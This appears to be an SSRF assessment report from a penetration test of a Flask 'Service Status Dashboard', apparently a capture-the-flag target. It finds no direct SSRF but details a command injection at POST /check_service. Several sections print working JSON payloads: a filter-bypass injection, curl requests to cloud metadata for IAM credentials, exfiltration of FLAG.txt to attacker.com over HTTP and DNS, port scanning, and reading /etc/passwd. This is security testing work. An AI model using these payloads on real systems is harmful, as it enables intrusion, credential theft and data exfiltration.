# SSRF Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete
- **Key Outcome:** No direct SSRF vulnerabilities were identified in the application code. The application does not contain HTTP client libraries, URL handling functionality, or any code paths that make server-side HTTP requests based on user input.
- **Critical Finding:** While no direct SSRF vulnerabilities exist, a **critical command injection vulnerability** at the `POST /check_service` endpoint can be leveraged to achieve equivalent SSRF capabilities by executing `curl` commands available in the Docker container. This indirect attack vector provides full SSRF functionality including access to cloud metadata services, internal network reconnaissance, and data exfiltration.
- **Purpose of this Document:** This report provides a comprehensive analysis of the application's server-side request mechanisms, documents the absence of traditional SSRF attack surfaces, and explains how the command injection vulnerability enables SSRF-like attacks through system utilities.

## 2. Dominant Vulnerability Patterns

### Pattern 1: No Traditional SSRF Sinks Present

- **Description:** The application demonstrates a complete absence of traditional SSRF attack vectors. After exhaustive code analysis, no HTTP client libraries (requests, urllib, httpx, aiohttp) were found, no URL parameters are processed, and no server-side request functionality exists in the application code.
- **Implication:** Traditional SSRF exploitation techniques (URL parameter manipulation, redirect abuse, webhook injection, API proxy bypass) are not applicable to this application.
- **Representative Findings:** Analysis of all endpoints confirmed zero SSRF sinks in application code.

### Pattern 2: Indirect SSRF via Command Injection (CRITICAL)

- **Description:** The application contains a critical command injection vulnerability at `POST /check_service` that accepts a `service_name` parameter. This parameter flows through bypassable validation into `subprocess.check_output(shell=True)` and subsequently into a bash script's `eval` statement. The Docker container includes `curl` and `ping` utilities that can be weaponized for SSRF attacks once command injection is achieved.
- **Implication:** While no direct SSRF code exists, attackers can execute arbitrary `curl` commands to access internal services, query cloud metadata endpoints (169.254.169.254), perform port scanning, and exfiltrate data to external servers.
- **Representative Finding:** Command injection enables full SSRF capabilities equivalent to traditional SSRF vulnerabilities.

### Pattern 3: Absent Network Request Validation

- **Description:** The application lacks any URL validation, allowlisting, protocol restrictions, or network request controls because it does not make outbound HTTP requests in the application layer. However, this absence extends to the command injection context where arbitrary network utilities can be executed without restriction.
- **Implication:** Once command injection is achieved, there are no secondary defenses preventing SSRF-like attacks through system utilities.
- **Representative Finding:** Zero network request controls at any layer.

## 3. Strategic Intelligence for Exploitation

### Application Architecture

- **Technology Stack:** Flask 3.0.3 (Python 3.8.20) with minimal dependencies
- **HTTP Client Capability:** None in application code (no requests, urllib, httpx libraries)
- **Available Network Utilities:** curl, ping (iputils-ping) installed in Docker container
- **Container Base:** python:3.8-slim Debian image
- **Network Mode:** Docker bridge mode (default)

### Request Processing Flow

```
External Network → POST /check_service
    ↓
JSON Body: {"service_name": "<input>"}
    ↓
Validation: contains_bad_chars() [BYPASSABLE]
    ↓
Command Construction: f"./check_service.sh {service_name}"
    ↓
Subprocess Execution: subprocess.check_output(shell=True)
    ↓
Bash Script Eval: eval $custom_command
    ↓
Arbitrary Command Execution (Including curl)
```

### Validation Weaknesses

The `contains_bad_chars()` function blocks only 7 characters: `&`, `|`, `$`, `;`, `\n`, `\r`, `` ` ``

**Critical Omissions:**
- Spaces (allowed) - enables multi-word commands
- Hyphens `-` (allowed) - enables `-t custom` flag injection
- Quotes `"` (allowed) - enables command encapsulation
- Parentheses `()` (allowed) - enables command grouping

**Bypass Technique:**
```json
{"service_name": "-t custom \"curl http://169.254.169.254/latest/meta-data/\""}
```

### Network Utilities Available for SSRF

**Installed via Dockerfile (line 4):**
```dockerfile
RUN apt-get install -y iputils-ping curl procps
```

- **curl:** Full-featured HTTP client supporting multiple protocols (http, https, file, gopher, ftp, etc.)
- **ping:** ICMP utility for DNS exfiltration and network reconnaissance
- **bash TCP redirection:** Built-in capability for raw TCP connections

### Cloud Metadata Endpoints (High Value Targets)

If deployed in cloud environments, the following metadata endpoints are accessible via command injection:

**AWS EC2:**
- `http://169.254.169.254/latest/meta-data/` (instance metadata)
- `http://169.254.169.254/latest/meta-data/iam/security-credentials/` (IAM role credentials)
- `http://169.254.169.254/latest/user-data/` (bootstrap scripts)

**GCP Compute:**
- `http://metadata.google.internal/computeMetadata/v1/` (requires `Metadata-Flavor: Google` header)
- `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` (OAuth tokens)

**Azure Virtual Machines:**
- `http://169.254.169.254/metadata/instance?api-version=2021-02-01` (requires `Metadata: true` header)
- `http://169.254.169.254/metadata/identity/oauth2/token` (managed identity tokens)

### Internal Services Reconnaissance

Likely internal targets accessible from container:
- Localhost services: `127.0.0.1:8080`, `127.0.0.1:3306`, `127.0.0.1:6379`
- Docker host services (limited by bridge mode): `172.17.0.1:*`
- Container network services: `<container_name>:*`
- Internal APIs and admin panels typically firewalled from external access

### Exploitation Complexity

- **Authentication Required:** None (endpoint is publicly accessible)
- **Network Access:** External (no VPN or internal network positioning required)
- **Skill Level:** Low (straightforward command injection bypass)
- **Detection Risk:** Low (no logging or monitoring implemented)
- **Reliability:** High (synchronous execution with immediate feedback)

## 4. Secure by Design: Validated Components

These components were analyzed and found to have robust defenses or no SSRF attack surface. They are low-priority for further SSRF testing.

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Static Dashboard | `GET /` → `app.py:32-34` | No user input processing; renders static template only | SAFE - No SSRF attack surface |
| JSON Response Handler | `app.py:28` → `jsonify()` | Returns JSON responses without making outbound requests | SAFE - No HTTP client usage |
| Flask Application Layer | `app.py` (all imports) | No HTTP client libraries imported (requests, urllib, httpx, aiohttp) | SAFE - Incapable of direct SSRF |
| Frontend AJAX | `templates/index.html:64-71` | Client-side fetch() calls (not server-side requests) | SAFE - Client-side only, no SSRF risk |
| Subprocess Execution | `app.py:26` | Uses subprocess.check_output() to execute local bash script, not HTTP requests | SAFE from direct SSRF (but see command injection note below) |

**Critical Note on Subprocess Execution:** While the subprocess execution itself does not constitute a direct SSRF vulnerability (it executes a local script, not URLs), the command injection vulnerability in this component enables **indirect SSRF** through execution of network utilities. This is documented as an indirect attack vector rather than a traditional SSRF vulnerability.

## 5. Analysis of Traditional SSRF Attack Vectors (All Confirmed Absent)

### 5.1 URL Parameter Manipulation
**Status:** Not Applicable  
**Finding:** The application does not accept URL parameters. The only parameter is `service_name` (intended for service names like "apache", "mysql"), which is not processed as a URL.

### 5.2 Redirect Abuse
**Status:** Not Applicable  
**Finding:** No redirect functionality exists (`flask.redirect()` not used). No "next", "return_url", or "callback_url" parameters. All responses are either static templates or JSON.

### 5.3 Webhook Injection
**Status:** Not Applicable  
**Finding:** No webhook registration, callback, or notification functionality. No external service integrations.

### 5.4 API Proxy Bypass
**Status:** Not Applicable  
**Finding:** No proxy endpoints or request forwarding functionality. Application does not act as an HTTP proxy.

### 5.5 File Fetch Abuse
**Status:** Not Applicable  
**Finding:** No URL-based file operations. No image processing, document converters, or avatar upload from URLs.

### 5.6 Service Discovery
**Status:** Not Applicable (Direct) / CRITICAL (Indirect via Command Injection)  
**Finding:** No direct service discovery endpoints. However, command injection enables port scanning and internal service reconnaissance using curl.

### 5.7 OAuth/OIDC JWKS Fetching
**Status:** Not Applicable  
**Finding:** No OAuth, OpenID Connect, or SSO implementation. No JWKS fetchers or authorization server metadata endpoints.

### 5.8 Link Preview/Unfurling
**Status:** Not Applicable  
**Finding:** No link preview generation or URL metadata extraction functionality.

## 6. Indirect SSRF Attack Vector Analysis

### Critical Finding: Command Injection Enables Full SSRF Capabilities

While no direct SSRF vulnerabilities exist, the command injection vulnerability provides equivalent functionality:

**Vulnerability Chain:**
```
POST /check_service
    ↓
{"service_name": "-t custom \"curl <target_url>\""}
    ↓
Validation Bypass (no blocked chars in payload)
    ↓
subprocess.check_output(f"./check_service.sh {service_name}", shell=True)
    ↓
check_service.sh evaluates: eval $custom_command
    ↓
Arbitrary curl execution
```

### SSRF Capabilities via Command Injection

#### 6.1 Cloud Metadata Access (CRITICAL)

**AWS Metadata Retrieval:**
```json
POST /check_service
{
  "service_name": "-t custom \"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\""
}
```

**Impact:** Retrieval of IAM role credentials, instance metadata, user data scripts

#### 6.2 Internal Service Access (HIGH)

**Internal API Probing:**
```json
{
  "service_name": "-t custom \"curl http://127.0.0.1:8080/admin/users\""
}
```

**Impact:** Access to internal services firewalled from external access, potential data exposure

#### 6.3 Data Exfiltration (CRITICAL)

**Flag Exfiltration via HTTP GET:**
```json
{
  "service_name": "-t custom \"curl http://attacker.com/?data=$(cat /app/FLAG.txt | base64)\""
}
```

**DNS Exfiltration Alternative:**
```json
{
  "service_name": "-t custom \"ping -c 1 $(cat /app/FLAG.txt).attacker.com\""
}
```

**Impact:** Complete data exfiltration capability to attacker-controlled infrastructure

#### 6.4 Port Scanning (MEDIUM)

**Internal Port Discovery:**
```json
{
  "service_name": "-t custom \"curl -m 2 http://192.168.1.1:22 && echo open || echo closed\""
}
```

**Impact:** Internal network reconnaissance and service discovery

#### 6.5 Protocol Smuggling (LOW)

**File Protocol Access:**
```json
{
  "service_name": "-t custom \"curl file:///etc/passwd\""
}
```

**Note:** While curl supports multiple protocols (file://, gopher://, ftp://), the primary SSRF risk is HTTP-based attacks.

### Comparison: Direct SSRF vs Indirect SSRF via Command Injection

| Capability | Traditional SSRF | Command Injection SSRF |
|---|---|---|
| Access internal services | ✅ | ✅ |
| Cloud metadata retrieval | ✅ | ✅ |
| Port scanning | ✅ | ✅ |
| Data exfiltration | ✅ | ✅ |
| Protocol smuggling | ✅ | ✅ (via curl) |
| **Additional capabilities** | ❌ | ✅ Arbitrary command execution, file system access, reverse shells |

**Conclusion:** Command injection provides **equivalent or superior** attack capabilities compared to traditional SSRF vulnerabilities.

## 7. Externally Exploitable Assessment

**External Exploitability:** ✅ **CONFIRMED**

**Access Requirements:**
- Network access to `http://localhost:45613` (port 45613 mapped to container port 80)
- No authentication required (endpoint is publicly accessible)
- No VPN or internal network access needed
- No special headers or credentials required

**Attack Complexity:**
- Skill Level: Low (straightforward JSON POST request)
- Exploitation Reliability: High (synchronous execution with immediate response)
- Detection Risk: Low (no logging, monitoring, or intrusion detection)

**Validation:**
- Reconnaissance report confirms: "Required Role: anon" for `/check_service` endpoint
- Docker Compose configuration exposes port 80 to external networks
- No authentication middleware or decorators present

## 8. Risk Assessment and Prioritization

### SSRF-Related Findings Summary

| Finding ID | Type | Severity | External Exploit | Status |
|---|---|---|---|---|
| N/A | Direct SSRF | N/A | N/A | None Found |
| Related to INJ-VULN-01 | Indirect SSRF via Command Injection | CRITICAL | Yes | Confirmed |

### Risk Scoring

**Traditional SSRF Vulnerability Count:** 0  
**Indirect SSRF Vectors:** 1 (via command injection)

**Overall SSRF Risk Level:** 🔴 **CRITICAL** (due to command injection enabling full SSRF capabilities)

**CVSS 3.1 Score for Indirect SSRF:**
- **Base Score:** 10.0 (Critical)
- **Vector String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- **Breakdown:**
  - Attack Vector (AV): Network (N) - exploitable from internet
  - Attack Complexity (AC): Low (L) - simple JSON POST request
  - Privileges Required (PR): None (N) - no authentication
  - User Interaction (UI): None (N) - no user action required
  - Scope (S): Changed (C) - impacts resources beyond application
  - Confidentiality (C): High (H) - cloud metadata, internal services
  - Integrity (I): High (H) - potential service manipulation
  - Availability (A): High (H) - denial of service possible

## 9. Recommendations for Exploitation Phase

### Priority 1: Command Injection → SSRF Exploitation

The command injection vulnerability should be the primary focus for SSRF-related exploitation.

**Recommended Test Cases:**

1. **Cloud Metadata Retrieval (if cloud-deployed):**
   ```json
   {"service_name": "-t custom \"curl http://169.254.169.254/latest/meta-data/\""}
   ```

2. **Internal Service Discovery:**
   ```json
   {"service_name": "-t custom \"curl http://127.0.0.1:8080/\""}
   ```

3. **Port Scanning:**
   ```json
   {"service_name": "-t custom \"for p in 22 80 443 3306 6379; do curl -m 1 http://127.0.0.1:$p && echo $p; done\""}
   ```

4. **Data Exfiltration Verification:**
   ```json
   {"service_name": "-t custom \"curl http://attacker.com/callback?test=success\""}
   ```

5. **DNS Exfiltration (if HTTP blocked):**
   ```json
   {"service_name": "-t custom \"ping -c 1 test123.attacker.com\""}
   ```

### Priority 2: Traditional SSRF Testing

**Status:** ❌ **NOT RECOMMENDED**

Traditional SSRF testing (URL parameter manipulation, redirect abuse, webhook injection) is not applicable as the application has no SSRF attack surface.

### Priority 3: Defense Evasion

Since the application has no network request controls, WAF, or monitoring, evasion techniques are not necessary. Direct exploitation is sufficient.

## 10. Conclusion

### Summary of Findings

**Direct SSRF Vulnerabilities:** ✅ **NONE FOUND**

The application demonstrates a complete absence of traditional SSRF attack vectors:
- No HTTP client libraries (requests, urllib, httpx, aiohttp)
- No URL parameter processing
- No webhook or callback functionality
- No external service integrations
- No redirect handlers
- No file fetching from URLs
- No API proxy functionality

**Indirect SSRF Capability:** 🔴 **CRITICAL - Command Injection Enables Full SSRF**

While no direct SSRF code exists, the command injection vulnerability at `POST /check_service` provides equivalent SSRF capabilities by executing `curl` commands. This indirect vector is:
- Externally exploitable without authentication
- Capable of accessing cloud metadata services
- Able to probe internal networks and services
- Suitable for data exfiltration to external servers
- More dangerous than traditional SSRF due to arbitrary command execution

### Exploitation Handoff

**For SSRF Exploitation Specialist:**
- Focus on command injection as the SSRF attack vector
- Test cloud metadata access if deployed in AWS/GCP/Azure
- Perform internal network reconnaissance
- Validate data exfiltration capabilities
- Consider DNS exfiltration if HTTP egress is restricted

**No Traditional SSRF Exploitation Required:**
- Skip URL parameter manipulation testing
- Skip redirect abuse testing
- Skip webhook injection testing
- Skip API proxy bypass testing

### Final Assessment

This application is **not vulnerable to traditional SSRF attacks** due to the complete absence of HTTP client functionality in the application code. However, the **critical command injection vulnerability effectively provides full SSRF capabilities** through system utilities, making it functionally equivalent to a severe SSRF vulnerability with additional command execution impact.

**Recommended remediation priority:** Fix the command injection vulnerability to eliminate both the direct command execution risk and the indirect SSRF capabilities it enables.

---

**SSRF Analysis Complete**  
**Analysis Date:** 2025-10-30  
**Analyst:** SSRF Analysis Specialist  
**Application:** Service Status Dashboard (Flask)  
**Target:** http://localhost:45613  
**Methodology:** White-box source code analysis with backward taint analysis from SSRF sinks